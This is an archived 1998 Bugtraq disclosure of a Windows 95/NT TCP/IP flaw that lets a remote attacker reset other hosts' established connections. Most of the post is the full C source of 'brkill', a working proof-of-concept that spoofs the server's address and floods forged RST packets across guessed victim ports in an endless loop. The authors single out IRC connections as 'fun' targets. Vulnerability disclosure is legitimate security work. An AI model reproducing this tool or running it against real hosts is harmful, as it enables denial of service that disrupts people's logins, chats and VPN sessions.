home *** CD-ROM | disk | FTP | other *** search
- Date: Mon, 5 Oct 1998 12:47:06 -0500
- From: Basement Research <br@DEEPTHOUGHT.EE.SIUE.EDU>
- To: BUGTRAQ@netspace.org
- Subject: New Windows Vulnerability
-
- While working on a different project back in August, we stumbled upon
- a flaw in Microsoft's TCP/IP implementation. The flaw, which is present in at
- least Windows 95 and Windows NT 4.0, allows an attacker to reset an existing
- connection on Windows machines, as long as the attacker knows the IP address
- and TCP port of the other end of the connection (and can successfully guess
- the target machine's TCP port for the connection - often not too far above
- 1024.)
-
- The problem arises when a packet is sent to a Microsoft machine that
- generates a reset. Our example code uses a PSH ACK to generate this reset.
- The resulting reset's ACK field contains the last acknowledged sequence number
- across all of the target's currently established TCP connections. Armed with
- this knowledge, we can then send the target machine a RST with the retrieved
- ACK number as the sequence number (and 0 in the ACK field), resulting in an
- abortive release of the connection. As an added bonus, since Microsoft OS's
- respond with resets on ALL ports, we can retrieve the last ack'd sequence
- number from any arbitrary closed port.
-
- Of course, this has some limitations - we must know the TCP port number
- and IP address of both ends of targeted connection. This is not as hard as it
- may seem at first glance - if we know the type of TCP connection, we probably
- know the server port. As to the target's TCP port, its probably not too far
- above 1024. A significant obstacle to resetting a connection is the need to get
- the reset to the target before it sends another ack. To address this problem,
- the brkill.c code includes the -n switch, which will cause brkill to send
- the range of sequence numbers from ack to (ack + n) to the target host.
- Lastly, if the target has a large number of established TCP connections,
- resetting the connection can be difficult since there will be several sets
- of ACK numbers, and it won't be obvious which one belongs to the connection we
- want to kill.
-
- We reported the problem to Microsoft back on September 15, and received
- the boilerplate "Thanks, we'll look into it" answers back. It is now time
- to release the details of the vulnerability so that Windows users can take
- steps to protect themselves. The source code for brkill, a proof-of-concept
- demonstration of the problem, is available here.
-
- The source has been tested on FreeBSD, OpenBSD and Linux, and requires
- the pcap library.
-
- Implications
-
- We consider the following types of connections to be the most vulnerable to
- this attack:
-
- Login connections: telnet, rlogin, xterm, etc. These generally involve low data
- rates and have a well-known server port, making them easy targets.
-
- MS PPTP connections. Data rates are not always low, but the connections last
- long, and can generally be reset with ease.
-
- Certain connections, even when they originate from non-Microsoft machines,
- may be vulnerable to this attack if the logical connection is being relayed
- b y MS Proxy Server. This assumes that MS proxy is vulnerable, which it
- may or may not be. We haven't tested it.
-
- Public chat connections such as IRC have been found to be susceptible to this
- attack. These are particularly fun as you get to see them being reset (again
- and again :) ).
-
- Availability of Source Code
- Source code is available from http://deep.ee.siue.edu/br/
-
-
- /* brkill.c
- * by the basement research, llp
- * Sat Sep 5 04:01:11 CDT 1998
- * For the details of how this works, you can visit http://deep.ee.siue.edu/br.
- * To compile:
- * cc -O2 -o brkill brkill.c -lpcap
- */
-
- #define SWAP(a,b) { a^=b; b^=a; a^=b; }
- #define _BSD_SOURCE 1
- #ifdef __FreeBSD__
- #define BSDFIX(a) (a)
- #else
- #define BSDFIX(a) htons(a)
- #endif
-
- #include <stdio.h>
- #include <unistd.h>
- #include <stdlib.h>
- #include <string.h>
- #include <errno.h>
- #include <netdb.h>
- #include <sys/utsname.h>
- #include <sys/time.h>
- #include <sys/socket.h>
- #include <net/if.h>
- #include <netinet/in.h>
- #include <netinet/in_systm.h>
- #include <netinet/ip.h>
- #include <netinet/tcp.h>
- #include "pcap.h"
-
- #define TIMEOUT_VALUE 500
- #define VICTIM_START_PORT 1023
-
- struct evilpkt
- {
- struct ip iphdr;
- struct tcphdr tcphead;
- }
- pkt;
-
- struct fakehdr
- {
- u_long saddr;
- u_long daddr;
- u_char zero;
- u_char proto;
- u_short len;
- struct tcphdr faketcp;
- }
- pseudo;
-
- static pcap_t *pfd;
- u_long victim;
- u_short port;
- char *device = NULL;
- u_short link_offset = 14;
- static char *filter_str;
- struct pcap_pkthdr hdr;
-
- u_short
- tcp_cksum (u_short * tcphdr, int len)
- {
- register long sum = 0;
- u_short *w = tcphdr;
- static u_short answer = 0;
-
- while (len > 1)
- {
- sum += *w++;
- len -= 2;
- }
- if (len == 1)
- {
- *(u_char *) (&answer) = *(u_char *) w;
- sum += answer;
- }
- sum = (sum >> 16) + (sum & 0xffff);
- sum += (sum >> 16);
- return (~sum);
- }
-
- void
- start_pcap ()
- {
- char cmd[200];
- int psize ;
- struct bpf_program fcode;
- u_int localnet, netmask;
- char errbuf[PCAP_ERRBUF_SIZE];
- char dialup[] = "ppp0";
- psize = 300;
-
-
- if (device == NULL)
- {
- if ((device = pcap_lookupdev (errbuf)) == NULL)
- {
- printf ("pcap_lookupdev : %s\n", errbuf);
- exit (-1);
- }
- }
- printf ("Selected network device: %s\n", device);
- if (!strcmp (device, dialup))
- {
- link_offset = 0;
- }
- if ((pfd = pcap_open_live (device, psize, IFF_PROMISC, TIMEOUT_VALUE, errbuf))
- == NULL)
- {
- printf ("pcap_open_live : %s\n", errbuf);
- exit (-1);
- }
- if (pcap_lookupnet (device, &localnet, &netmask, errbuf) < 0)
- {
- printf ("pcap_lookupnet : %s\n", errbuf);
- exit (-1);
- }
- snprintf (cmd, sizeof (cmd), filter_str);
- printf ("Setting filter : %s\n", filter_str);
- if (pcap_compile (pfd, &fcode, cmd, IFF_PROMISC, netmask) < 0)
- {
- printf ("pcap_compile : %s\n", pcap_geterr (pfd));
- exit (-1);
- }
- if (pcap_setfilter (pfd, &fcode) < 0)
- {
- printf ("pcap_setfilter : %s\n", pcap_geterr (pfd));
- exit (-1);
- }
- if (pcap_datalink (pfd) < 0)
- {
- printf ("pcap_datalink : %s\n", pcap_geterr (pfd));
- exit (-1);
- }
- }
-
- u_long
- extract_ack (char *pkt)
- {
- u_long extracted;
- u_long last_ack = 0;
-
- bcopy ((u_long *) (pkt + 28), &extracted, sizeof (u_long));
- last_ack = ntohl (extracted);
- if (last_ack == 0)
- {
- puts ("This machine returns a last ACK of 0. Cannot reset.");
- exit (-1);
- }
- printf ("Last ACK # sent by the victim is %lu (%#lx).\n", last_ack, last_ack);
- return (last_ack);
- }
-
- u_long
- grab_pcap ()
- {
- char *pptr = NULL;
- u_long last_ack;
-
- while ((pptr = (char *) pcap_next (pfd, &hdr)) == NULL);
- pptr = pptr + link_offset;
- last_ack = extract_ack (pptr);
- return (last_ack);
- }
-
- void
- init_pkt (u_long dest, u_long src, u_short port)
- {
- size_t pktlen;
-
- pktlen = sizeof (struct ip) + sizeof (struct tcphdr);
- bzero (&pkt, 40);
- bzero (&pseudo, 32);
- pkt.iphdr.ip_hl = 0x5;
- pkt.iphdr.ip_v = IPVERSION;
- pkt.iphdr.ip_tos = 0x0;
- pkt.iphdr.ip_len = pktlen;
- pkt.iphdr.ip_id = htons (0x29a + (u_short) rand () % 7000);
- pkt.iphdr.ip_off = BSDFIX (IP_DF);
- pkt.iphdr.ip_ttl = 255;
- pkt.iphdr.ip_p = IPPROTO_TCP;
- pkt.iphdr.ip_src.s_addr = src;
- pkt.iphdr.ip_dst.s_addr = dest;
- pkt.iphdr.ip_sum = htons (tcp_cksum ((u_short *) & pkt.iphdr, 20));
- pkt.tcphead.th_sport = htons (rand () % 5000 + 1024);
- pkt.tcphead.th_dport = htons (port);
- pkt.tcphead.th_seq = 0;
- pkt.tcphead.th_ack = 0;
- pkt.tcphead.th_x2 = 0;
- pkt.tcphead.th_off = 0x5;
- pkt.tcphead.th_flags = TH_ACK + TH_PUSH; /* Use user-supplied argument */
- pkt.tcphead.th_win = htons (0x800);
- pkt.tcphead.th_urp = 0;
- /* Now init the pseudoheader we need to calculate the TCP checksum */
- pseudo.saddr = src;
- pseudo.daddr = dest;
- pseudo.zero = 0;
- pseudo.proto = IPPROTO_TCP;
- pseudo.len = htons (0x14); /* Refers to ONLY the TCP header plus any options */
- bcopy (&pkt.tcphead, &pseudo.faketcp, 20);
- pkt.tcphead.th_sum = tcp_cksum ((u_short *) & pseudo, 32);
- }
-
- int
- open_sock ()
- /* Open up a socket and return the resulting file descriptor. */
- {
- int sockfd;
- const int bs = 1;
-
- if ((sockfd = socket (AF_INET, SOCK_RAW, IPPROTO_RAW)) == -1)
- {
- perror ("open_sock():socket()");
- exit (-1);
- }
- if (setsockopt (sockfd, IPPROTO_IP, IP_HDRINCL, (char *) &bs, sizeof (bs)) < 0)
- {
- perror ("open_sock():setsockopt()");
- close (sockfd);
- exit (-1);
- }
- return (sockfd);
- }
-
- struct sockaddr_in *
- set_sockaddr (u_long daddr, u_short port)
- /* Set up target socket address and return pointer to sockaddr_in structure. */
- {
- struct sockaddr_in *dest_sockaddr;
- dest_sockaddr = (struct sockaddr_in *) malloc (sizeof (struct sockaddr_in));
-
- bzero (dest_sockaddr, sizeof (struct sockaddr_in));
- dest_sockaddr->sin_family = AF_INET;
- dest_sockaddr->sin_port = htons (port);
- dest_sockaddr->sin_addr.s_addr = daddr;
- return (dest_sockaddr);
- }
-
- u_long
- host_to_ip (char *host_name)
- {
- struct hostent *target;
- u_long *resolved_ip;
- resolved_ip = (u_long *) malloc (sizeof (u_long));
-
- if ((target = gethostbyname (host_name)) == NULL)
- {
- fprintf (stderr, "host_to_ip: %d\n", h_errno);
- exit (-1);
- }
- else
- {
- bcopy (target->h_addr, resolved_ip, sizeof (struct in_addr));
- return ((u_long) * resolved_ip);
- }
- }
-
- char *
- set_filter (char *destip, char *srcip, char *dport)
- {
- static char *filt;
-
- filt = (char *) malloc (strlen (destip) + strlen (srcip) + strlen (dport) + 39);
- filt[0] = '\0';
- strcat (filt, "src host ");
- strcat (filt, destip);
- strcat (filt, " and dst host ");
- strcat (filt, srcip);
- strcat (filt, " and src port ");
- strcat (filt, dport);
- return (filt);
- }
-
- u_long
- get_ack (u_long victim, u_long saddr, u_short port, int fd, struct sockaddr_in * sock, int delay)
- {
- size_t psize;
- u_long last_ack;
-
- psize = sizeof (struct evilpkt);
- init_pkt (victim, saddr, port);
- sleep (delay);
- if (sendto (fd, (const void *) &pkt, psize, 0, (const struct sockaddr *) sock, sizeof (struct sockaddr)) < 0)
- {
- perror ("sendto()");
- close (fd);
- exit (-1);
- }
- last_ack = grab_pcap ();
- return (last_ack);
- }
-
- void
- usage ()
- {
- puts ("brkill - by basement research, 9/30/98\n");
- puts ("Usage: brkill [-d device] [-s source IP addr]");
- puts ("\t [-t time to pause between get_acks (default=1 sec)]");
- puts ("\t [-l server low port or single port if not using range (default=6660)]");
- puts ("\t [-h server high port or single port if not using range (default=6670)]");
- puts ("\t [-v # of victim ports to target (starting at 1023, default=50)]");
- puts ("\t [-n # of times to increment seq # by 1 for each port combo (default=0)]");
- puts ("\t <victim addr> <victim's server> <dest port for ack retrieval>");
- exit (0);
- }
-
- int
- main (int argc, char **argv)
- {
- int fd, i, sp, opt, delay = 1, vichighport, vicports = 50, highseq = 0;
- u_short ircport, slowport = 0, shighport = 0;
- char *source = NULL;
- struct sockaddr_in *sock;
- u_long saddr, server;
- size_t psize;
- register u_long last_ack;
- struct hostent *hptr;
- struct utsname localname;
-
- if ((argc > 18) || (argc < 4))
- {
- usage ();
- }
-
- while ((opt = getopt (argc, argv, "d:s:t:l:h:v:n:")) != -1)
- {
- switch (opt)
- {
- case 'd':
- device = optarg;
- break;
- case 's':
- source = optarg;
- saddr = host_to_ip (source);
- break;
- case 'p':
- delay = atoi (optarg);
- break;
- case 'l':
- slowport = atoi (optarg);
- break;
- case 'h':
- shighport = atoi (optarg);
- break;
- case 'v':
- vicports = atoi (optarg);
- break;
- case 'n':
- highseq = atoi (optarg);
- break;
- case '?':
- puts ("Unknown option.");
- exit (-1);
- }
- }
-
- /* Try to determine source IP address if its not provided */
- if (source == NULL)
- {
- if (uname (&localname) < 0)
- {
- perror ("uname(): ");
- exit (-1);
- }
- if ((hptr = gethostbyname (localname.nodename)) == NULL)
- {
- perror ("gethostbyname(): ");
- exit (-1);
- }
- source = hptr->h_name;
- bcopy (hptr->h_addr, &saddr, sizeof (struct in_addr));
- printf ("Using a source address of %s\n", inet_ntoa (saddr));
- }
-
- /* These next two if conditionals deal with the situation where only -l or
- * -h are specified. In these cases, we will only target the specified port.
- */
- if ((slowport > 0) && (shighport == 0))
- {
- shighport = slowport;
- }
- if ((shighport > 0) && (slowport == 0))
- {
- slowport = shighport;
- }
-
- /* If the low server port is bigger than the high server port, then the user
- * doesn't know what they are doing. In this case, we'll swap the values.
- */
- if (slowport > shighport)
- {
- SWAP (slowport, shighport);
- puts ("Warning: low port is greater than high port - swapping the two...");
- }
-
- /* Defaults if neither -l nor -h are specified (common IRC server ports). */
- if ((slowport == 0) && (shighport == 0))
- {
- slowport = 6660;
- shighport = 6670;
- }
- /* End of the options processing code */
-
- vichighport = VICTIM_START_PORT + vicports;
- ircport = shighport;
- filter_str = set_filter (argv[optind], source, argv[optind + 2]);
- victim = host_to_ip (argv[optind]);
- server = host_to_ip (argv[optind + 1]);
- port = (u_short) atoi (argv[optind + 2]);
- sock = set_sockaddr (victim, port);
- fd = open_sock ();
- psize = sizeof (struct evilpkt);
- start_pcap ();
- while (1)
- {
- last_ack = get_ack (victim, saddr, port, fd, sock, delay);
- pkt.iphdr.ip_src.s_addr = server;
- pkt.iphdr.ip_dst.s_addr = victim;
- pkt.iphdr.ip_id = htons (rand () % 7000);
- pkt.iphdr.ip_off = 0;
- pkt.tcphead.th_flags = TH_RST;
- pkt.tcphead.th_win = 0;
- pkt.tcphead.th_ack = 0;
- pseudo.saddr = server;
- pseudo.daddr = victim;
- if (ircport >= slowport)
- {
- pkt.tcphead.th_sport = htons (ircport);
- }
- else
- {
- ircport = shighport;
- pkt.tcphead.th_sport = htons (ircport);
- }
- printf ("Setting the source port to %d.\n", ircport);
- ircport--;
- for (i = 0; i <= highseq; i++)
- {
- pkt.tcphead.th_seq = htonl (last_ack + i);
- bcopy (&pkt.tcphead, &pseudo.faketcp, 20);
- for (sp = VICTIM_START_PORT; sp < vichighport; sp++)
- {
- /* FreeBSD has problems and runs out of buffer space in sendto() unless
- we insert a delay here. Unfoprtunately, this makes the code less
- effective. */
- #ifdef __FreeBSD__
- if (!(sp % 20))
- {
- usleep (20000);
- }
- #endif
- pkt.tcphead.th_dport = htons (sp);
- bcopy (&pkt.tcphead.th_dport, &pseudo.faketcp.th_dport, 2);
- pkt.iphdr.ip_id = htons (0x29a + (u_short) rand () % 7000);
- pkt.iphdr.ip_sum = 0;
- pkt.iphdr.ip_sum = htons (tcp_cksum ((u_short *) & pkt.iphdr, 20));
- pseudo.faketcp.th_sum = 0;
- pkt.tcphead.th_sum = tcp_cksum ((u_short *) & pseudo, 32);
- if (sendto (fd, (const void *) &pkt, psize, 0, (const struct sockaddr *) sock, sizeof (struct sockaddr)) < 0)
- {
- perror ("sendto(): ");
- close (fd);
- exit (-1);
- }
- }
- }
- }
- if (close (fd) == -1)
- {
- perror ("close()");
- exit (-1);
- }
- return (0);
- }
-